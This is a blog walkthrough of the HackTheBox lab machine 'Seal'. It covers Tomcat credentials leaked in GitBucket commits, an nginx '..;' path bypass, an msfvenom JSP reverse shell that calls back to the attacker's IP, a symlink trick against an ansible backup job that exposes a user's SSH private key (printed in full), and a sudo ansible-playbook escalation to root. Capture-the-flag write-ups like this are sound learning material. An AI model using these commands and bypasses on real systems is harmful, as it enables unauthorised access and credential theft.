This page looks best with JavaScript enabled

HackTheBox: Seal

 ·  ☕ 5 min read

Foothold:

Started by enumerating ports with nmap:

There are two websites, on port 443 it seems just like a static site:

Static web

However on port 8080 there is a GitBucket server:
GitBucket

After we create an account and singing in there are two available repos:

  • infra
  • seal_market

After checking the first one there is not much information but ansible playbooks to deploy a tomcat server.

On the other hand in seal_market there are much more commits, if we have a look at them we can see that there are credentials leaked:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<tomcat-users xmlns="http://tomcat.apache.org/xml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd" version="1.0">
<!-- 
  NOTE:  By default, no user is included in the "manager-gui" role required
  to operate the "/manager/html" web application.  If you wish to use this app,
  you must define such a user - the username and password are arbitrary. It is
  strongly recommended that you do NOT use one of the users in the commented out
  section below since they are intended for use with the examples web
  application.
 -->
<!-- 
  NOTE:  The sample user and role entries below are intended for use with the
  examples web application. They are wrapped in a comment and thus are ignored
  when reading this file. If you wish to configure these users for use with the
  examples web application, do not forget to remove the <!.. ..> that surrounds
  them. You will also need to set the passwords to something appropriate.
 -->
<!-- 
  <role rolename="tomcat"/>
  <role rolename="role1"/>
  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
  <user username="role1" password="<must-be-changed>" roles="role1"/>
 -->
<user username="tomcat" password="42MrHBf*z8{Z%" roles="manager-gui,admin-gui"/>
</tomcat-users>

Now that we have tomcat credentials tried to access the tomcat manager, but kept having 403 errors somehow. But if we look on the commits how it’s configured nginx:

...
	location /manager/html {
		if ($ssl_client_verify != SUCCESS) {
			return 403;
		}
		proxy_set_header        Host $host;
		proxy_set_header        X-Real-IP $remote_addr;
		proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;
		proxy_set_header        X-Forwarded-Proto $scheme;
		proxy_pass          http://localhost:8000;
		proxy_read_timeout  90;
		proxy_redirect      http://localhost:8000 https://0.0.0.0;
		# First attempt to serve request as file, then
		# as directory, then fall back to displaying a 404.
#		try_files $uri $uri/ =404;
	}
...

It’s using muthual authentication on tomcat manager. Using ffuf found other tomcat endpoint that we can log in:
Status

After some research on how 403 could be bypassed found this tool and among the payloads it uses \..; so tried it out and worked:
Manager

After bypassing it found this other post and this one ,they explain it in more detail, another bypass would be /manager;foo=bar/html

Now we can just generate a reverse shell with msfvenom:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.15.193 LPORT=1234 -f war > shell.war
Payload size: 1101 bytes
Final size of war file: 1101 bytes

After that just upload the reverse shell with tomcat manager, to do so intercept the request with burp and modify the post url so it uses the bypass:
Burpsuite

Then just simly use curl to invoke the reverse shell:

curl -k https://seal.htb/shell/

User

Used linpeas and found some suspicious cronjobs running in the background:

crontab

So let’s check what that ansible playbook does:

cat /opt/backups/playbook/run.yml 
- hosts: localhost
tasks:
- name: Copy Files
synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
- name: Server Backups
archive:
path: /opt/backups/files/
dest: "/opt/backups/archives/backup-{{ansible_date_time.date}}-{{ansible_date_time.time}}.gz"
- name: Clean
file:
state: absent
path: /opt/backups/files/

If we have a look at the documentation, we can check what copy_links does:
Copy links

So if we manage to create a symbolic link to a file that luis owns in /var/lib/tomcat9/webapps/ROOT/admin/dashboard we may be able to read it on the backup files.

We can achieve those permissions on /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads:

ls -lisha /var/lib/tomcat9/webapps/ROOT/admin/dashboard/
total 100K
539501 4.0K drwxr-xr-x 7 root root 4.0K May  7 09:26 .
539500 4.0K drwxr-xr-x 3 root root 4.0K May  6 10:48 ..
539505 4.0K drwxr-xr-x 5 root root 4.0K Mar  7  2015 bootstrap
539515 4.0K drwxr-xr-x 2 root root 4.0K Mar  7  2015 css
539518 4.0K drwxr-xr-x 4 root root 4.0K Mar  7  2015 images
539532  72K -rw-r--r-- 1 root root  71K May  6 10:42 index.html
539537 4.0K drwxr-xr-x 4 root root 4.0K Mar  7  2015 scripts
64791 4.0K drwxrwxrwx 2 root root 4.0K Jul 12 21:00 uploads

We can now create the symbolic link with the following command:

ln -s /home/luis/.ssh/id_rsa /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/id_rsa

Now we can decompress the backup:

gzip -d backup-2021-07-12-21\:21\:33.gz

Use strings to get the private ssh key:

-----BEGIN OPENSSH PRIVATE KEY-----
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
u8KqOiDVrwmFJRAAAACWx1aXNAc2VhbAE=                                                 
-----END OPENSSH PRIVATE KEY-----

Root

As luis we can execute ansible playbooks with sudo:

sudo -l
Matching Defaults entries for luis on seal:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User luis may run the following commands on seal:
(ALL) NOPASSWD: /usr/bin/ansible-playbook *

So just create a sample playbook to execute arbitrary code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
-
  name: Display flag
  hosts: localhost
  tasks:
    - name: Display root flag
      command: id chdir=/root
      register: command_output

    - name: Print to console
      debug:
        msg: "{{command_output.stdout}}"

Finally just execute the playbook:

sudo /usr/bin/ansible-playbook evil-playbook.yml 
[WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all'

PLAY [Display flag] **********************************************************************************************************************************************************************************************************************************************************************************************************

TASK [Gathering Facts] *******************************************************************************************************************************************************************************************************************************************************************************************************
ok: [localhost]

TASK [Display root flag] *****************************************************************************************************************************************************************************************************************************************************************************************************
changed: [localhost]

TASK [Print to console] ******************************************************************************************************************************************************************************************************************************************************************************************************
ok: [localhost] => {
"msg": "uid=0(root) gid=0(root) groups=0(root)"
}

PLAY RECAP *******************************************************************************************************************************************************************************************************************************************************************************************************************
localhost 
Share on

ITasahobby
WRITTEN BY
ITasahobby
InTernet lover